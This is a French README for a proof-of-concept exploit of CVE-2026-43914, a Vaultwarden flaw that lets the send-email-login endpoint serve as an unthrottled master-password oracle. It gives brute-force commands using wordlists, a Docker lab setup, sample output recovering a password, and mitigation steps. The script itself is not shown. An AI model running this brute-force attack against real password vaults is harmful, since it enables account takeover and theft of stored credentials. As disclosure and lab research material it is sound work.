
PoC pour CVE-2026-43914: Vaultwarden <1.35.4 — oracle de mot de passe permettant de contourner l'email-2FA par force brute. Python utilisant uniquement la bibliothèque standard.
Preuve de concept pour CVE-2026-43914 : lorsque l'e-mail 2FA est activé, la protection contre la force brute de la connexion de Vaultwarden peut être entièrement contournée via le point de terminaison non authentifié POST /api/two-factor/send-email-login, qui agit comme un oracle de mot de passe maître illimité.
Versions concernées : Vaultwarden < 1.35.4
Vaultwarden est le gestionnaire de mots de passe auto-hébergé compatible Bitwarden le plus populaire. Les administrateurs activent l'e-mail 2FA croyant qu'il empêche les tentatives de devinette de mot de passe — mais ce point de terminaison valide le hash du mot de passe maître et renvoie un statut HTTP distinct pour les suppositions correctes/incorrectes avant que toute limitation de débit ou de verrouillage de compte ne s'applique :
| Réponse | Signification |
|---|---|
200 | mot de passe correct (e-mail OTP envoyé) |
400 "Username or password is incorrect" | mot de passe incorrect |
Un attaquant qui connaît (ou devine) l'e-mail d'une victime peut soumettre le mot de passe maître à une attaque par force brute à pleine vitesse sans aucune limitation. L'e-mail 2FA ne l'empêche pas.
Dans src/api/core/two_factor/email.rs, le gestionnaire send_email_login vérifie le mot de passe et renvoie une réponse anticipée en cas de non-correspondance — mais cette route n'est pas enregistrée avec le middleware de force brute/limitation qui protège /identity/connect/token. Chaque appel :
check_valid_password(master_password_hash) →
err!("Username or password is incorrect") (HTTP 400) en cas de non-correspondance,python3 vw_bf_poc.py --host localhost --port 8222 \
--email [email protected] \
--passwords "summer2024,Qwerty123!,CorrectHorse123!"
# or a wordlist:
python3 vw_bf_poc.py --email [email protected] --wordlist rockyou-top1000.txt
Uniquement la bibliothèque standard de Python 3.
# mail catcher
docker run -d --name mailhog -p 11025:1025 -p 18025:8025 mailhog/mailhog
# vulnerable Vaultwarden (< 1.35.4), SMTP -> MailHog
docker run -d --name vw-lab -p 8222:80 --link mailhog \
-e I_REALLY_WANT_VOLATILE_STORAGE=true \
-e SMTP_HOST=mailhog -e SMTP_PORT=1025 -e SMTP_SECURITY=off \
-e [email protected] -e DOMAIN=http://localhost:8222 \
vaultwarden/server:1.35.3
Créez un utilisateur de test (n'importe quel client Bitwarden ou API), activez l'e-mail 2FA (Paramètres → Connexion en deux étapes → E-mail), puis exécutez le PoC contre lui.
$ python3 vw_bf_poc.py --email [email protected] --passwords "wrong1,wrong2,CorrectHorse123!"
[*] Target : localhost:8222
[*] Victim : [email protected]
[*] Trying 3 candidate passwords via send-email-login oracle
[0001] 400 - wrong1
[0002] 400 - wrong2
[0003] 200 HIT! CorrectHorse123!
=> PASS: master password FOUND = 'CorrectHorse123!' (1.4s, no rate limit hit)
Mettez à niveau vers Vaultwarden 1.35.4+. D'ici là : désactivez l'e-mail 2FA au profit de TOTP/WebAuthn, et placez l'instance derrière un reverse proxy avec une limitation de débit par IP sur /api/two-factor/*.
Pour la recherche en sécurité autorisée et une utilisation en laboratoire uniquement.